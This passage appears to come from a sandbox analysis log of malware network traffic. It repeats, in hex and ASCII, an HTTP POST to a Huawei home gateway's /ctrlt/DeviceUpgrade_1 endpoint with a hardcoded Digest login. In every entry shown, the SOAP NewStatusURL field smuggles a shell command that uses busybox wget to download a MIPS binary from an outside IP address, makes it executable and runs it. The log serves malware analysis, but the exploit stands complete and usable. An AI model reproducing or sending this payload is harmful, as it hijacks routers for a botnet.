2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:24.007448912 CET	1142	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:31.686516047 CET	1343	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:47.044363022 CET	1759	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:18.272103071 CET	2605	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	156.254.111.68	37215	192.168.2.23	34430

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:16.516129017 CET	922	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:18.120294094 CET	975	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:20.039994001 CET	1030	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:24.007464886 CET	1143	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:31.686537027 CET	1344	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 